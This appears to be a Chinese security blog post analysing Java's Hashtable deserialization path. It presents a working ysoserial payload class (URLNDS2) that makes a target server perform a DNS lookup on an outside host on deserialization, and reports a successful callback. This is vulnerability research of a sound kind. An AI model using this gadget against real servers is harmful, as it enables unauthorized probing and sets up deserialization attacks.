zoukankan      html  css  js  c++  java
  • 【鸡肋】URLDNS2的反序列化发现

    今天在公司分析cve-2020-2551漏洞的时候,发现了一个新的类,叫hashtable。

    看了下,实现了Serializable的接口,说明这个类是可以序列化的。符合pop链的条件之一。

    接下来看下hashtable的readobject方法:

     1 private void readObject(java.io.ObjectInputStream s)
     2          throws IOException, ClassNotFoundException
     3     {
     4         // Read in the threshold and loadFactor
     5         s.defaultReadObject();
     6 
     7         // Validate loadFactor (ignore threshold - it will be re-computed)
     8         if (loadFactor <= 0 || Float.isNaN(loadFactor))
     9             throw new StreamCorruptedException("Illegal Load: " + loadFactor);
    10 
    11         // Read the original length of the array and number of elements
    12         int origlength = s.readInt();
    13         int elements = s.readInt();
    14 
    15         // Validate # of elements
    16         if (elements < 0)
    17             throw new StreamCorruptedException("Illegal # of Elements: " + elements);
    18 
    19         // Clamp original length to be more than elements / loadFactor
    20         // (this is the invariant enforced with auto-growth)
    21         origlength = Math.max(origlength, (int)(elements / loadFactor) + 1);
    22 
    23         // Compute new length with a bit of room 5% + 3 to grow but
    24         // no larger than the clamped original length.  Make the length
    25         // odd if it's large enough, this helps distribute the entries.
    26         // Guard against the length ending up zero, that's not valid.
    27         int length = (int)((elements + elements / 20) / loadFactor) + 3;
    28         if (length > elements && (length & 1) == 0)
    29             length--;
    30         length = Math.min(length, origlength);
    31 
    32         if (length < 0) { // overflow
    33             length = origlength;
    34         }
    35 
    36         // Check Map.Entry[].class since it's the nearest public type to
    37         // what we're actually creating.
    38         SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, length);
    39         table = new Entry<?,?>[length];
    40         threshold = (int)Math.min(length * loadFactor, MAX_ARRAY_SIZE + 1);
    41         count = 0;
    42 
    43         // Read the number of elements and then all the key/value objects
    44         for (; elements > 0; elements--) {
    45             @SuppressWarnings("unchecked")
    46                 K key = (K)s.readObject();
    47             @SuppressWarnings("unchecked")
    48                 V value = (V)s.readObject();
    49             // sync is eliminated for performance
    50             reconstitutionPut(table, key, value);
    51         }
    52     }

    和hashmap很像,实际上hashmap和hashtable作用真的很像,导致他们的代码内部也很像。根据hashmap的经验,去追了一下reconstitutionPut方法,

     1     private void reconstitutionPut(Entry<?,?>[] tab, K key, V value)
     2         throws StreamCorruptedException
     3     {
     4         if (value == null) {
     5             throw new java.io.StreamCorruptedException();
     6         }
     7         // Makes sure the key is not already in the hashtable.
     8         // This should not happen in deserialized version.
     9         int hash = key.hashCode();
    10         int index = (hash & 0x7FFFFFFF) % tab.length;
    11         for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
    12             if ((e.hash == hash) && e.key.equals(key)) {
    13                 throw new java.io.StreamCorruptedException();
    14             }
    15         }
    16         // Creates the new entry.
    17         @SuppressWarnings("unchecked")
    18             Entry<K,V> e = (Entry<K,V>)tab[index];
    19         tab[index] = new Entry<>(hash, key, value, e);
    20         count++;
    21     }

    发现了int hash = key.hashCode();说明hashtable下面的key也是会进行hashCode()的操作,和hashmap的URLDNS链异曲同工,那么就简单了,URLDNS2的改写就很简单,直接把hashmap类改成hashtable即可。

    源码如下:

     1 package ysoserial.payloads;
     2 
     3 import ysoserial.payloads.annotation.Authors;
     4 import ysoserial.payloads.annotation.Dependencies;
     5 import ysoserial.payloads.annotation.PayloadTest;
     6 import ysoserial.payloads.util.PayloadRunner;
     7 import ysoserial.payloads.util.Reflections;
     8 
     9 import java.io.IOException;
    10 import java.net.InetAddress;
    11 import java.net.URL;
    12 import java.net.URLConnection;
    13 import java.net.URLStreamHandler;
    14 import java.util.Hashtable;
    15 
    16 @SuppressWarnings({ "rawtypes", "unchecked" })
    17 @PayloadTest(skip = "true")
    18 @Dependencies()
    19 @Authors({ Authors.GEBL })
    20 public class URLNDS2 implements ObjectPayload<Object> {
    21     @Override
    22     public Object getObject( final String url1) throws Exception {
    23         String url = "https://3.s.xxx.com";
    24         //Avoid DNS resolution during payload creation
    25         //Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
    26         URLStreamHandler handler = new URLDNS.SilentURLStreamHandler();
    27 
    28         Hashtable ht = new Hashtable(); // HashMap that will contain the URL
    29         URL u = new URL(null, url, handler); // URL to use as the Key
    30         ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
    31 
    32         Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.
    33 
    34         return ht;
    35     }
    36 
    37     public static void main(final String[] args) throws Exception {
    38         PayloadRunner.run(URLNDS2.class, args);
    39     }
    40 
    41     /**
    42      * <p>This instance of URLStreamHandler is used to avoid any DNS resolution while creating the URL instance.
    43      * DNS resolution is used for vulnerability detection. It is important not to probe the given URL prior
    44      * using the serialized object.</p>
    45      *
    46      * <b>Potential false negative:</b>
    47      * <p>If the DNS name is resolved first from the tester computer, the targeted server might get a cache hit on the
    48      * second resolution.</p>
    49      */
    50     static class SilentURLStreamHandler extends URLStreamHandler {
    51         protected URLConnection openConnection(URL u) throws IOException {
    52             return null;
    53         }
    54 
    55         protected synchronized InetAddress getHostAddress(URL u) {
    56             return null;
    57         }
    58     }
    59 }

    URL实例还是作为触发hashtable的hashCode存在。

    run 跑一下:

    成功收到dns记录。

  • 相关阅读:
    project b2c_performance / capacity
    WebServer Roxen
    OS + UNIX AIX /etc/services
    但行好事,莫问前程 All In One
    学习什么语言的问题,其实,不是一个问题......
    不想当将军的学生,不是好程序员——数据访问层DAL
    C#如何用Graphics画出一幅图表
    混蛋的面试题——《大话设计模式》读后感
    编程也讲禅,您读过《金刚经》吗?——ADO.NET核心类的灭度与SQLHelper的诞生——十八相送(上)
    C#如何开发扫雷游戏
  • 原文地址:https://www.cnblogs.com/ph4nt0mer/p/12748651.html
Copyright © 2011-2022 走看看